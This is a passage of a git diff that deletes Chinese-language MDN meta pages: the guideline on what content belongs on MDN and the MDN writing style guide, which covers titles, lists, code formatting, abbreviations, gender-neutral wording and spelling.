现在Web标准文档中受关注的是那些可以被Web开发者用于创建网站与App这些大众应用的功能。这指的是那些被众多浏览器所实现,要么是被标准接受,要么是正在向标准化发展的技术。即主要关注前端Web技术。后端的技术常常在别处有它们自己的文档,MDN不会去尝试取代它们。

+ + + +

同时欢迎关注与Web开发有关的交互技术话题,比如:

+ + + +
+

注意: MDN 涉及了非Mozilla但对Web开放的技术;举个例子,我们有关于WebKit格式的CSS属性的文档。

+
+ +

Mozilla 产品

+ +

这个分类的文档包括如何作为开发者使用Mozilla的产品,以及如何向这些开源项目贡献。

+ + + +

哪些话题不属于MDN?

+ +

举一些不适合MDN的话题:

+ + + +

哪些类型在MDN的范畴内?

+ +

In general, MDN is for product documentation, not for project or process documentation (except about MDN itself). So, if the document is about "how to use a thing" or "how a thing works" (where the "thing" is in one of the topic categories mentioned above), then it can go on MDN. But if it about "who's working on developing a thing" or "plans for developing a thing", then it shouldn't go on MDN. In that case, if the thing is being developed under the umbrella of Mozilla, then the Mozilla project wiki may be a good place for it.

+ +

Here are some examples of types of documents that should not be placed on MDN:

+ + + +

Advantages to documenting on MDN

+ +

If you've determined that the documentation you want to write is appropriate in content and type for MDN, but you're still not sure whether MDN is the best place for it, read on.  There are a lot of good reasons to create documentation on MDN.

+ +

Lots of writers and translators

+ +

The MDN community is big. Really big. It's big in the sort of way that makes big things look small. Seriously, we have a lot of people that participate in creating and maintaining content on MDN. With writers and editors on every continent (okay, I'm not sure about Antarctica, but otherwise), there's a lot of value to the sheer volume of writers:

+ + + +

Do you want your development team to be entirely responsible for the production of documentation? That's likely if your documentation is maintained elsewhere.

+ +

维护

+ +

Because of the sheer number of contributors, there's usually someone on hand to watch for problems with your content: from spam control to copy-editing, things can happen around the clock. Here's just a taste of what our team can do:

+ +
+
Delete spam
+
Spam happens. We deal with it.
+
Copy editing
+
You don't have to worry if your writing isn't as clear or precise as you'd like. We'll turn your prose into something other people can read.
+
Consistency of style
+
We'll ensure that your content is stylistically consistent not just within itself, but with the other documentation around it.
+
Content management
+
Our team will help ensure that the documentation is cross-linked with other relevant materials, that articles are put in the right places, and that menus and other infrastructure is built to make it easy to follow and understand.
+
Site and platform maintenance
+
MDN has both an IT team who keep the site up, running, and secure, and a platform development team who maintain and enhance the platform. You won't need to devote your own or additional resources to documentation infrastructure.
+
+ +

Cases for documenting elsewhere

+ +

There are also a few reasons you may be thinking about documenting your work somewhere other than MDN. Here are some of those reasons, and the pros and cons for each.

+ +

Plans and processes

+ +

Documentation for plans, processes, and proposals should never be put on MDN. That's pretty simple. If your project is part of Mozilla, you can put them on the Mozilla project wiki.

+ +

The project is on Github

+ +

Some of Mozilla's projects are hosted on Github, and Github offers its own wiki-like system for documentation. Some teams like to produce their documentation there. This is certainly fair and convenient if you're game to write your own docs; however, keep in mind that:

+ + + +

It's possible, of course, that these things don't bother you, or aren't a problem in your situation. Some teams don't mind keeping their own docs, or are working on code that has minimal documentation needs.

+ +

You want to keep docs in-source

+ +

Some teams like to have their documentation in the source tree. This is particularly common with project internals and library projects.

+ +

This approach has a couple of advantages:

+ + + +

There are some drawbacks:

+ + + +

Still, this can be a viable option (possibly even a good option) for some types of projects, especially small ones or those that aren't expected to get much interest.

+ +

{{endnote("*")}} It's OK to put a limited amount of personal information on your MDN profile page. User profiles should reflect a human being, not a business or organization. A moderate degree of self-promotion is OK, but link-spamming is not. Please do not use your profile to upload personal photos or other irrelevant files.

diff --git a/files/zh-cn/mdn/guidelines/rules_of_mdn_documenting/index.html b/files/zh-cn/mdn/guidelines/rules_of_mdn_documenting/index.html deleted file mode 100644 index 1f40cc49b8..0000000000 --- a/files/zh-cn/mdn/guidelines/rules_of_mdn_documenting/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: MDN收录规则 -slug: MDN/Guidelines/Rules_Of_MDN_Documenting -translation_of: MDN/Guidelines/Does_this_belong_on_MDN ---- -
{{MDNSidebar}}
{{IncludeSubnav("/zh-CN/docs/MDN")}}
- -

如果你正准备记录什么信息,你可能想知道是否要将这些信息放入MDN。 更进一步地,你可能想在你的源代码中维护文档,并将文档写入Mozilla wiki,或者写入某Git仓库的readme文件中。 本文的目的是帮助你确认你的内容是否适合MDN。

- -

文档是否应放入MDN主要取决于两点:

- - - -
-

注意Mozilla的 Websites & Communications Terms of Use 所声明的条例在你使用MDN或对其做贡献时是生效的。检查这个文档,确保你知道在Mozilla的网站上什么是能发表的,什么是不能发表的。

-
- -

哪些话题在MDN的范畴内?

- -

MDN涉及了惊人的各种材料。总的来说,如果它是开放的面向Web的技术,或者是Mozilla的产品,我们就把它收录到MDN。但也有一小部分东西完全不属于MDN。这一节会告诉你如何确认你的文档是否属于MDN。

- -

这里有一些我们涉及的事物;虽然这不是一个完整的列表,但是可以给你一个大致的印象。

- -

开放的Web标准与技术

- -

现在Web标准文档中受关注的是那些可以被Web开发者用于创建网站与App这些大众应用的功能。这指的是那些被众多浏览器所实现,要么是被标准接受,要么是正在向标准化发展的技术。即主要关注前端Web技术。后端的技术常常在别处有它们自己的文档,MDN不会去尝试取代它们。

- - - -

同时欢迎关注与Web开发有关的交互技术话题,比如:

- - - -
-

注意: MDN 涉及了非Mozilla但对Web开放的技术;举个例子,我们有关于WebKit格式的CSS属性的文档。

-
- -

Mozilla 产品

- -

这个分类的文档包括如何作为开发者使用Mozilla的产品,以及如何向这些开源项目贡献。

- - - -

哪些话题不属于MDN?

- -

举一些不适合MDN的话题:

- - - -

哪些类型在MDN的范畴内?

- -

In general, MDN is for product documentation, not for project or process documentation (except about MDN itself). So, if the document is about "how to use a thing" or "how a thing works" (where the "thing" is in one of the topic categories mentioned above), then it can go on MDN. But if it about "who's working on developing a thing" or "plans for developing a thing", then it shouldn't go on MDN. In that case, if the thing is being developed under the umbrella of Mozilla, then the Mozilla project wiki may be a good place for it.

- -

Here are some examples of types of documents that should not be placed on MDN:

- - - -

Advantages to documenting on MDN

- -

If you've determined that the documentation you want to write is appropriate in content and type for MDN, but you're still not sure whether MDN is the best place for it, read on.  There are a lot of good reasons to create documentation on MDN.

- -

Lots of writers and translators

- -

The MDN community is big. Really big. It's big in the sort of way that makes big things look small. Seriously, we have a lot of people that participate in creating and maintaining content on MDN. With writers and editors on every continent (okay, I'm not sure about Antarctica, but otherwise), there's a lot of value to the sheer volume of writers:

- - - -

Do you want your development team to be entirely responsible for the production of documentation? That's likely if your documentation is maintained elsewhere.

- -

维护

- -

Because of the sheer number of contributors, there's usually someone on hand to watch for problems with your content: from spam control to copy-editing, things can happen around the clock. Here's just a taste of what our team can do:

- -
-
Delete spam
-
Spam happens. We deal with it.
-
Copy editing
-
You don't have to worry if your writing isn't as clear or precise as you'd like. We'll turn your prose into something other people can read.
-
Consistency of style
-
We'll ensure that your content is stylistically consistent not just within itself, but with the other documentation around it.
-
Content management
-
Our team will help ensure that the documentation is cross-linked with other relevant materials, that articles are put in the right places, and that menus and other infrastructure is built to make it easy to follow and understand.
-
Site and platform maintenance
-
MDN has both an IT team who keep the site up, running, and secure, and a platform development team who maintain and enhance the platform. You won't need to devote your own or additional resources to documentation infrastructure.
-
- -

Cases for documenting elsewhere

- -

There are also a few reasons you may be thinking about documenting your work somewhere other than MDN. Here are some of those reasons, and the pros and cons for each.

- -

Plans and processes

- -

Documentation for plans, processes, and proposals should never be put on MDN. That's pretty simple. If your project is part of Mozilla, you can put them on the Mozilla project wiki.

- -

The project is on Github

- -

Some of Mozilla's projects are hosted on Github, and Github offers its own wiki-like system for documentation. Some teams like to produce their documentation there. This is certainly fair and convenient if you're game to write your own docs; however, keep in mind that:

- - - -

It's possible, of course, that these things don't bother you, or aren't a problem in your situation. Some teams don't mind keeping their own docs, or are working on code that has minimal documentation needs.

- -

You want to keep docs in-source

- -

Some teams like to have their documentation in the source tree. This is particularly common with project internals and library projects.

- -

This approach has a couple of advantages:

- - - -

There are some drawbacks:

- - - -

Still, this can be a viable option (possibly even a good option) for some types of projects, especially small ones or those that aren't expected to get much interest.

- -

{{endnote("*")}} It's OK to put a limited amount of personal information on your MDN profile page. User profiles should reflect a human being, not a business or organization. A moderate degree of self-promotion is OK, but link-spamming is not. Please do not use your profile to upload personal photos or other irrelevant files.

diff --git a/files/zh-cn/mdn/guidelines/style_guide/index.html b/files/zh-cn/mdn/guidelines/style_guide/index.html deleted file mode 100644 index 285b2703cb..0000000000 --- a/files/zh-cn/mdn/guidelines/style_guide/index.html +++ /dev/null @@ -1,784 +0,0 @@ ---- -title: MDN Web 文档写作规范 -slug: MDN/Guidelines/Style_guide -tags: - - MDN - - MDN Meta - - MDN Web 文档 - - MDN 规范 - - 写作规范 - - 准则 - - 教程 - - 文档 - - 规范 -translation_of: MDN/Guidelines/Writing_style_guide ---- -
{{MDNSidebar}}
- -

{{IncludeSubnav("/zh-CN/docs/MDN")}}

- -

为了提供更加组织化、标准化且易于阅读的文档,MDN Web 文档写作规范明确了文本的组织方式、拼写规则、固定格式等内容,不过这些内容只是指导性的而不是严格的规定,因为比起格式我们对内容更感兴趣,所以没有必要在参与贡献之前强迫自己学习本规范。但是如果有一位勤劳的志愿者在之后编辑了你的文档使它更加符合本规范,也请不要感到惊讶或难过。

- -

如果你正在寻找一个特定类型的页面应该如何构建的相关细节,请参阅MDN Web 文档页面布局规范

- -

本规范主要适用于英文文档。 其他语言可能也有(也欢迎创建)相应的规范。 这些应该作为子页面发布在各个本地化小组的页面中。

- -
-

译注:本文的写作规范虽说是针对英文所写,但是其中的不少内容也适用于中文,可花点时间阅读一下。另外,中文翻译时的规范请参见《翻译术语表和翻译规范》。

-
- -

对于那些为MDN以外的站点内容所编写的规范,请参考 Mozilla 统一规范

- -

基础部分

- -

为了使文档保持更好的一致性,所有主流的写作规范指南都是从一些比较基本的写作规范开始的。以下几个小节所概述的这些基本规范内容应该会对你有很大帮助。

- -

页面标题

- -

页面标题不仅会在搜索时用到,在页面顶部的面包屑路径中也会被用来表示文档的层级结构。页面标题(就是显示在页面顶部以及搜索结果中标题的部分)可以与页面URL“<locale>/docs/”之后的“铭牌(slug)”部分不同.

- -

文章标题和段落标题的大写规则

- -

页面的标题和章节的标头应当使用语句式大写(只大写第一个单词的首字母以及专有名词的首字母),而不应该使用标题式大写:

- - - -

我们还有很多旧的页面是在这条规范确立之前就已经发布了的。所以只要你愿意,你随时可以更新它们的标题。我们也正在逐步完善它们。

- -

标题和铭牌的选择

- -

页面的铭牌应该尽量简短,当创建一个新的层级时,新层级的铭牌最好只由一到两个单词组成。

- -

而页面的标题长度并没有什么严格的限制,只要合理并且表意明确即可。

- -

创建新的子目录

- -

当你要给某个新的主题或主体添加文章时,你通常需要创建一个引导页,然后再把要添加的文章作为子页面添加进去。引导页开篇应当用一两段话来描述一下当前主题或技术,然后添加一个子页面的目录列表,并简要描述每个页面的内容。你可以使用一些我们已经编写好的宏把相关的子页面自动插入到目录列表中。

- -

例如,JavaScript手册,其结构如下:

- - - -

尽量避免把文章内容放置在层次结构的顶层,这会降低网站的访问速度,同时搜索和导航的效率也会下降。

- -

文章内容的通用原则

- -

在写任何文档时,知道该写多少是很重要的。如果你写的长篇大论,文章读起来就会冗长无味,更不会有人愿意使用它。保持文章内容适量很重要,原因有很多。这其中的原因就有:为了确保读者能够找到他们真正想要的信息,以及为搜索引擎提供足够的优质素材来对文章进行分析和排名。我们将在这里讨论前者(提供读者可能需要的信息)。如果想了解如何让文章更好地被搜索引擎分类和排名,查阅文章How to write for SEO on MDN

- -

我们的目标是在页面中包含读者可能需要的所有信息,但又不至于太过冗长。为了实现这个目标,我们给出了一些建议。

- -

为读者着想

- -

请记住,这些只是指导性的。其中某些建议并不适用于所有状况。当然你应该始终为你的读者着想。例如,在一篇介绍高级网络技术的文章中,通常不需要像介绍网络编程的文章那样包含过多的网络基本概念。

- -

提供一个有用的简介

- -

在开篇或第一个段落标题之前给出文章的简介,以使读者快速了解文章中是否包含他们感兴趣的内容。在指南或教程类的文章中,简介还应该让读者明白文章覆盖了哪些主题,以及文章期望读者能够从中了解到哪些知识。简介中应该包含文章中介绍和讨论的技术、API,并提供相关的链接,同时还应该提供可能会遇到的情况的提示。

- -
示例:过于简短的简介
- -

下面这个例子中的简介太过于简短,很多信息都没有包含进来,比如“stroke text”是什么意思,文本会在哪里等。

- -
-

CanvasRenderingContext2D.strokeText() draws a string.

-
- -
示例:过于冗长的简介
- -

下面是上面那个简介的修改版,但是这次它又太过冗长了。其中包含了过多的细节,并且还包含了很多其他方法和属性,但实际上它应该将重点聚焦在 strokeText() 方法上,然后给出详细介绍它的文章的链接即可。

- -
-

译注:作为例子,内容并不重要,所以就不逐句翻译了。

-
- -
-

When called, the Canvas 2D API method CanvasRenderingContext2D.strokeText()strokes the characters in the specified string beginning at the coordinates specified, using the current pen color. In the terminology of computer graphics, "stroking" text means to draw the outlines of the glyphs in the string without filling in the contents of each character with color.

- -

The text is drawn using the context's current font as specified in the context's {{domxref("CanvasRenderingContext2D.font", "font")}} property.

- -

The placement of the text relative to the specified coordinates are determined by the context's textAligntextBaseline, and direction properties. textAlign controls the placement of the string relative to the X coordinate specified; if the value is "center", then the string is drawn starting at x - (stringWidth / 2), placing the specified X-coordinate in the middle of the string. If the value is "left", the string is drawn starting at the specified value of x. And if textAlign is "right", the text is drawn such that it ends at the specified X-coordinate.

- -

(etc etc etc...)

- -

You can, optionally, provide a fourth parameter that lets you specify a maximum width for the string, in pixels. If you provide this parameter, the text is compressed horizontally or scaled (or otherwise adjusted) to fit inside a space that wide when being drawn.

- -

You can call the fillText() method to draw a string's characters as filled with color instead of only drawing the outlines of the characters.

-
- -
示例:这次好多了
- -

下面这个简介比前两个要好很多。

- -
-

The {{domxref("CanvasRenderingContext2D")}} method strokeText(), part of the Canvas 2D API, strokes—that is, draws the outlines of—the characters of a specified string, anchored at the position indicated by the given X and Y coordinates. The text is drawn using the context's current {{domxref("CanvasRenderingContext2D.font", "font")}}, and is justified and aligned according to the {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, and {{domxref("CanvasRenderingContext2D.direction", "direction")}} properties.

- -

For more details and further examples, see {{SectionOnPage("/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Text")}} in the Learning Area as well as our main article on the subject, Drawing text.

-
- -

多提供一些示例

- -

文章应该尽量多提供一些示例。实际上,大多数文章都应该包含不止一个例子。使用例子来说明每个参数的用途或每个可能的边界条件是很有必要的。同时还应该用例子来演示常见问题的解决方法,以及应该如何解决使用过程中可能碰到的坑。

- -

每个例子都应该先给出解释,说明它做了什么,以及读者在阅读或动手尝试之前需要了解的内容。

- -

另外,每段示例代码都应该就其工作原理给出说明。最好将一段较长的代码分解成多个较小的部分,并提供每个部分的说明,说明时注意细节的层次。如果代码很简单并且不直接涉及到当前 API,可以只给出一个简单的介绍,说明其用途,以及为何要把它放在这里;而如果代码比较复杂、或用到了当前的 API、或在技术上比较有创造性,那么你应该提供更详细的说明。

- -

如果使用的是在线演示的方式,则可以将 HTML、CSS、JavaScript 拆分到不同的 {{HTMLElement("pre")}} 中,它们在运行时会自动组合到一起,但使用这种方式每个里面都可以有自己的说明。因此这是一种很好很强大的方式。

- -

过短的文章难以被搜索到

- -

如果文章过短,那么搜索引擎可能会难以甚至无法对其建立关键字索引。一般来说,文章的主体内容应该至少包含 250-300 个单词。但是也不要对内容确实很少的文章进行刻意的扩充,在可能的情况下尽量遵守该指导原则即可。

- -

小节、段落和换行

- -

对于小节的标题,应使用从大到小的方式来定义级别:{{HTMLElement("h2")}}、{{HTMLElement("h3")}}、{{HTMLElement("h4")}} 这样,并且中间不要跳过某一级。因为 H1 已用于文章的标题,因此小节的标题应该从 H2 开始。如果你的文章中小节的层次超过了 3 到 4 级,那么你可能需要考虑将整篇文章拆分成几篇小的文章,然后用一个引导页给出这些文章的链接,并用 {{TemplateLink("Next")}}、{{TemplateLink("Previous")}}、{{TemplateLink("PreviousNext")}} 宏为它们创建导航。

- -

按下回车键(Enter 或 Return)可以开始一个新的段落。如果只是想换行而不是另起一段,可以按住 Shift 并敲下回车。

- -

不要创建只包含一个小节的子级别,如果只有一个小节,那么拆分主题就是没有意义的。至少包含两个小节,要么就不要拆分。

- -

不要让两个小节标题紧挨在一起,这样看起来很丑。每个小节标题的下面至少要放上一段对后面各子小节的简短说明,这会对阅读的人很有帮助。

- -

列表

- -

列表的格式应该在所有文章中保持一致,并且应在列表中恰当使用标点和结构合理的句子。不管是哪种类型的列表,都需要对格式进行适当的调整。下面的内容说明了每种列表之间的不同。

- -

无序列表

- -

无序列表可以以简洁且有效的方式对内容进行分组显示。每个条目都会以类似“•”的符号来标识。在无序列表中要注意正确使用标点,尤其是每句的最后不要遗漏掉句号。应该以标准写作方式来对待无序列表。

- -

下面是一个结构良好的无序列表的例子:

- -
-

在这个例子中需要包括:

- -
    -
  • 一种情况,然后跟上一个简短的说明。
  • -
  • 一种情况,然后跟上一个简短的说明。
  • -
  • -

    另一种情况,并跟上一些解释和说明。

    -
  • -
-
- -

可以看到,每个条目的格式都是一致的:首先显示一个“•”符号,然后列出一种情况,然后写上逗号,并在逗号后面添加一些对当前情况的简单说明。

- -

有序列表

- -

有序列表用序号来标识每个条目。同样要注意应该在有序列表中使用适当的格式,保持列表的清晰和简洁,这一点与无序列表是类似的。但是有序列表中的某些条目内容可能会很多,因此正确使用标点就更为重要了,因为难免会遇到必须使用复杂句子的情况。

- -

下面是一个结构良好的有序列表的例子:

- -
-

为了创建一个好的有序列表,你需要:

- -
    -
  1. 以一个介绍性的标题开始,以引出后续的序列。我们可以在开始有序列表的序列之前提供这一内容。
  2. -
  3. 开始创建各个序列,这些序列会用数字依次编号。这是有序列表的标准格式,能够很容易地被读者理解。有序列表中的某些条目内容可能会很多,因此正确使用标点是很重要的。
  4. -
  5. 列表序列完成之后,应在后面再提供一段简短的总结。
  6. -
- -

这段内容就是一个总结。我们已经创建了一个简短的有序列表,解释了创建良好格式的有序列表应遵循的步骤。

-
- -

有序列表基本都用来表示具有连续性关系的内容,因此应该先深入思考你要用这些内容达到什么目的,然后再去撰写。

- -

文本格式和样式

- -

可以使用“样式”下拉列表中的预定义样式来格式化你选定的内容。

- -
-

“Note”样式用来强调重要提示,就像这个。

-
- -
-

类似地,“Warning”样式用来创建一个警告框。

-
- -

除非有特殊需要,否则请不要用 HTML 的 style 属性来手动给内容添加样式。如果你没有找到你需要的预定义样式,可以放置一个 {{IRCLink("mdn")}} 并寻求帮助。

- -

示例代码的格式和样式

- -
-

这一小节只是讨论 MDN 文章中的示例代码的样式和格式问题,如果你想了解如何编写示例代码,请参考示例代码指南

-
- -

缩进和换行符

- -

每级缩进都使用两个空格来缩进,并在所有的示例中保持一致。对于代码块的起始语句,应将开大括号“{”与当前语句写在一行上,比如:

- -
if (condition) {
-  /* handle the condition */
-} else {
-  /* handle the "else" case */
-}
-
- -

如果一行的代码很长,应在适当的地方换行以避免出现水平滚动条。下面是一个例子:

- -
if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
-       || class.YET_ANOTHER_CONDITION ) {
-  /* something */
-}
-
-var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
-                           .createInstance(Components.interfaces.nsIToolkitProfileService);
-
- -

内联代码格式

- -

对于函数名、变量名、方法名等,应使用“Inline Code”按钮(编辑器中显示为“<>”的按钮)将其设置为内联代码格式(内联代码使用的是 {{HTMLElement("code")}} 元素)。比如:frenchText() 函数。

- -

方法名后面应该加上小括号:doSomethingUseful(),这样会比较容易将方法与其他代码元素区分开来。

- -

语法高亮

- -

Screenshot of the 'Syntax Highlighter' menu.对于整行或多行代码,此时别再使用 {{HTMLElement("code")}}  元素来格式化了,而应该对其进行语法高亮。点击语法高亮器按钮(图标是两个代码块),从语言下拉列表中选择一种合适的语言即可。见右图。

- -

下面的例子使用了 JavaScript 语法高亮:

- -
-
for (var i = 0, j = 9; i <= 9; i++, j--)
-  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
-
- -

如果没有在下拉列表中找到你需要的语言,可以选择第一项“没有高亮”,此时代码显示的是不带高亮效果的普通样式:

- -
x = 42;
- -

语法定义

- -

如果你想插入一段语法定义,可以使用样式下拉列表中的“Syntax Box”选项。语法定义的样式与普通代码的样式会有所区别。

- -

非代码区块

- -

有些情况下需要用到 <pre> 区块而不是代码区块,此时不会进行语法高亮,也不会显示行号。比如你需要显示树形结构,就可以使用 <pre>

- -
root/
-
-    folder1/
-        file1
-
-    folder2/
-        file2
-        file3
-
- -

插入方法是要先点击”pre“按钮,然后输入想要的内容即可。

- -

HTML 元素的样式

- -

HTML 元素的样式有一套自己的规则。遵守这些规则可以让元素及其组件的描述方式保持统一,并且还可以保证能够正确链接到各元素的详细文档页面。

- -
-
元素名称
-
使用 {{TemplateLink("HTMLElement")}} 宏会生成一个指向该元素详情页的链接。比如,\{{HTMLElement("title")}} 会生成”{{HTMLElement("title")}}“。如果不想生成链接,就将元素名称用尖括号括起来,然后将其设置为内联代码样式,比如 <title>
-
属性名称
-
请使用粗体
-
属性定义
-
对正在定义的术语使用 {{TemplateLink("htmlattrdef")}} 宏(如 \{{htmlattrdef("type")}}),这样其他页面就可以使用 {{TemplateLink("htmlattrxref")}} 宏来链接到该页面了(例如 \{{htmlattrxref("attr","属性")}})。
-
属性值
-
请使用内联代码样式,并且注意字符串两边不要加引号,除非是代码的语法要求加引号。举例:当将 <input> 元素的 type 属性设置为 emailtel 时……
-
为属性添加说明标签
-
请不要滥用 {{HTMLVersionInline(5)}} 这样的标签。比如,可以在某个第一次出现的属性名称旁边添加标签,但是不要在每次出现该属性的时候都添加一次。
-
- -

拉丁文缩写

- -

在补充说明的括号中

- -

一般的拉丁文缩写(如:”etc.“、”i.e.“、”e.g.“)都可以用在起补充说明的括号里面。这时应在缩写中添加句号,后面加上逗号或其他恰当的标点。

- - - -

在一般句子中

- -

在普通的句子中(即括号的外面),请使用与缩写等价的英文单词或短语。

- - - -

缩写、拉丁文原文和英文的对照表

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
缩写拉丁文英文
cf.confercompare
e.g.exempli gratiafor example
et al.et aliiand others
etc.et ceteraand so forth, and so on
i.e.id estthat is, in other words
N.B.nota benenote well
P.S.post scriptumpostscript
- -
-

在使用前请仔细思考使用拉丁文缩写是否真的能带来好处。上面列出的某些缩写很少用到,很多读者可能不知道其意思,还有一些读者可能会分不清其中的某些缩写。另外,如果你决定使用缩写,那么请确保你的用法是正确的。比如,一个很多人经常会犯的错误是将“e.g.”和“i.e.”弄混。

-
- -

首字母缩写和一般缩写

- -
-
大写与句号
-
在这两种缩写中(包括国家和组织的缩写,如“US”、“UN”),请使用全大写且不要添加句号。
-
-
    -
  • 正确: XUL
  • -
  • 错误: X.U.L.、Xul
  • -
-
-
缩写展开
-
文章中第一次遇到某个缩写术语时,应该同时给出其展开形式,从而让不了解该缩写的读者能够知道它所指代的内容。如果不确定要不要展开那么就选择展开,或者更好的办法是将其链接到术语表中的对应条目。
-
-
    -
  • 正确: XUL (XML User Interface Language) is Mozilla's XML-based language...
  • -
  • 错误: XUL is Mozilla's XML-based language...
  • -
-
-
缩写的复数形式
-
当需要使用复数形式的缩写时,直接在后面加上“s”即可,请务必不要加撇号。
-
-
    -
  • 正确: CD-ROMs
  • -
  • 错误: CD-ROM's
  • -
-
-
”Versus“、”vs.“和”v.“
-
推荐使用”vs.“。
-
-
    -
  • 正确: this vs. that
  • -
  • 错误: this v. that
  • -
  • 错误: this versus that
  • -
-
-
- -

大写

- -

在文章内容中请使用标准英文大写规则,比如对于”World Wide Web“需大写每个单词的首字母。如果”web“和”internet“是单独使用或作为修饰词使用,那么将其全小写也可以——这一指导原则是后来修改过的,所以在 MDN 中你也许会看到很多首字母大写的”Web“和”Internet“。当你编辑文章的时候遇到这种情况,可以随它去,也可以随手修改一下。但是仅仅只是为了修改一下大写的话就没必要专门去编辑一下了。

- -

对于键盘按键,应该使用普通的大写规则,而不是全大写。比如,是”Enter“而不是”ENTER“。

- -

简写

- -

我们倾向于宽松的写作风格,所以你可以按你的喜好来决定是否使用简写(如”don't“、”can't“、”shouldn't“)。

- -

名称复数

- -

请使用英文风格的复数形式,不要使用拉丁文或希腊文的形式。

- -
-
-
    -
  • 正确: syllabuses、octopuses
  • -
  • 错误: syllabi、octopi
  • -
-
-
- -

连字符

- -

当两个单词连起来组成另一个单词时,如果前一个单词的最后一个字母是元音字母,并且与后一个单词的第一个字母相同时,应使用连字符。

- -
-
-
    -
  • 正确: email、re-elect、co-op
  • -
  • 错误: e-mail、reelect、coop
  • -
-
-
- -

使用性别中立的表述

- -

在任何性别无关的场合使用性别中立的表述方式是一种比较好的做法,这样可以使你的文章具有普适性。举个例子,如果你正在写的是关于某个男人的行为,那么使用”他“来指代是没问题的;但如果内容并没有特指是男还是女,那么再使用”他“就不太恰当了。

- -

让我们再看几个例子:

- -

弹出一个对话框,让用户确认他是否允许网页使用他的网络摄像头。

- -

弹出一个对话框,让用户确认她是否允许网页使用她的网络摄像头。

- -

这两句话使用的都是特定性别的表述方式,我们可以将其修改为性别中立的代词:

- -

弹出一个对话框,让用户确认他们是否允许网页使用他们的网络摄像头。

- -
-

译注:这里原文为”they“和”their“,在英文中是性别中立的代词。而中文中如果上下文没有强调性别,则”他们“也具有性别中立性。

-
- -
-

MDN 允许使用这种通用性的语法(尽管在正式用法中这一点还存在争议)来弥补英语在表达中立性别时的不足。将第三人称复数的代词用来表示性别中立代词(即使用”they“、”them“、”their“、”theirs“)是可以接受的,也就是通常所说的”单数形式的‘they’“。

-
- -

你还可以同时写上两个性别:

- -

弹出一个对话框,让用户确认他或她是否允许网页使用他/她的网络摄像头。

- -
-

译注:中文里一般不这么用,所以如果在翻译中遇到这种情况,请简单翻译为”他“即可。”中文翻译规范“一文的”误解:100% 翻译 = 准确“一节中也提到了这个问题。

-
- -

或者使用复数形式的”users“:

- -

弹出一个对话框,让用户(译注:原文为”users“)确认他们是否允许网页使用他们的网络摄像头。

- -

当然,最好的方法还是重写句子,去掉其中的代词:

- -

弹出一个对话框,询问用户是否允许网页对网络摄像头的访问。

- -

弹出一个询问用户以获取网络摄像头访问权限的对话框。

- -

最后一种方法(译注:意指去除代词的方法)可能更好一些,因为它不但语法上更加正确,而且还能消除不同语言处理性别问题时所带来的复杂性,因为不同语言对性别的处理可能有不同的规则。因此这种方法无论是对读者(译注:意为阅读英语原文的非英语读者)还是翻译者来说都可以让翻译更简单。

- -

数字和数词

- -

日期

- -

请用”January 1, 1990“这样的形式来表达日期(不包括代码中的日期)。

- -
-
-
    -
  • 正确: February 24, 2006
  • -
  • 错误: February 24th, 2006、24 February, 2006、24/02/2006
  • -
-
-
- -

或者你也可以使用”YYYY/MM/DD“的形式:

- -
-
-
    -
  • 正确: 2006/02/24
  • -
  • 错误: 02/24/2006、24/02/2006、02/24/06
  • -
-
-
- -

年代

- -

请使用”1990s“这种形式来表示年代,但不要使用撇号:

- -
-
-
    -
  • 正确: 1990s
  • -
  • 错误: 1990's
  • -
-
-
- -

数词的复数

- -

数词的复数直接在后面加”s“,同样不要使用撇号:

- -
-
-
    -
  • 正确: 486s
  • -
  • 错误: 486's
  • -
-
-
- -

逗号

- -

应该仅在数字的位数大于等于 5 位时才使用逗号分隔符:

- -
-
-
    -
  • 正确: 4000、54,000
  • -
  • 错误: 4,000、54000
  • -
-
-
- -

标点符号

- -

连续逗号

- -

请使用连续逗号。连续逗号(也叫牛津逗号)是在一个包含三个或以上单词或短语的序列中位于连词前的那个逗号。

- -
-
-
    -
  • 正确: I will travel on trains, planes, and automobiles.
  • -
  • 错误: I will travel on trains, planes and automobiles.
  • -
-
-
- -
-

译注:这种情况在翻译时应将逗号翻译为顿号。”中文翻译规范“一文的”标点符号“一节中也提到了这个问题。

-
- -
-

这一点与 Mozilla 统一规范有冲突,后者要求不要使用连续逗号。MDN 是这一规则的特例。

-
- -

拼写

- -

如果一个单词具有多种拼写,请使用美国英语的拼写。一般来说,Dictionary.com 上的第一个拼写是符合此要求的,除非单词本身即为其他变体形式或主要用于美国以外的国家中。例如,如果你去查”honour“,你会看到一个标注”Chiefly British“,并在其后有一个指向美语标准形式的链接。请不要使用其他的拼写变体。

- -
-
-
    -
  • 正确: localize、honor
  • -
  • 错误: localise、honour
  • -
-
-
- -

术语

- -

HTML 元素

- -

请使用”元素“来表示 HTML 和 XML 元素,不要使用”标记“。另外,请在元素名称两边使用尖括号 ”<>“ 括起来,并使用 {{HTMLElement("code")}} 样式。当文章中第一次出现某个元素的时候,应该用 {{TemplateLink("HTMLElement")}} 宏创建一个指向该元素文档的链接(除非你正在撰写的恰好是该元素的文档页面)。

- -
-
-
    -
  • 正确: {{HTMLElement("span")}} 元素
  • -
  • 错误: span 标记
  • -
-
-
- -

函数参数

- -

在 MDN 上推荐使用 parameters 来表示函数的参数,为了保持一致性,如果可能的话请尽量避免使用”arguments“。

- -

描述用户的操作

- -

在说明一系列操作步骤时,应使用祈使语气来描述用户的操作,并用 UI 组件的名称和其元素类型来标识操作对象。

- -
-
-
    -
  • 正确: 点击编辑按钮
  • -
  • 错误: 点击编辑
  • -
-
-
- -

语态

- -

推荐使用主动语态,但被动语态也可以接受,只是可能会让文章看起来不太正式。建议选择一种并在文章中尽量保持统一。

- -

Wiki 标记及用法

- -

链接

- -

链接是 wiki 中最重要的功能元素之一。这里会介绍一些链接的基本内容,在我们的编辑器指南中的在MDN中创建和编辑链接这篇文章中有关于链接的详细介绍。

- -

我们鼓励适当的添加一些相关文章的链接,这样可以提高页面导航的效率和内容的易发现性。链接不但可以指向其他 MDN 页面(内部链接),也可以指向其他网站的页面(外部链接)。

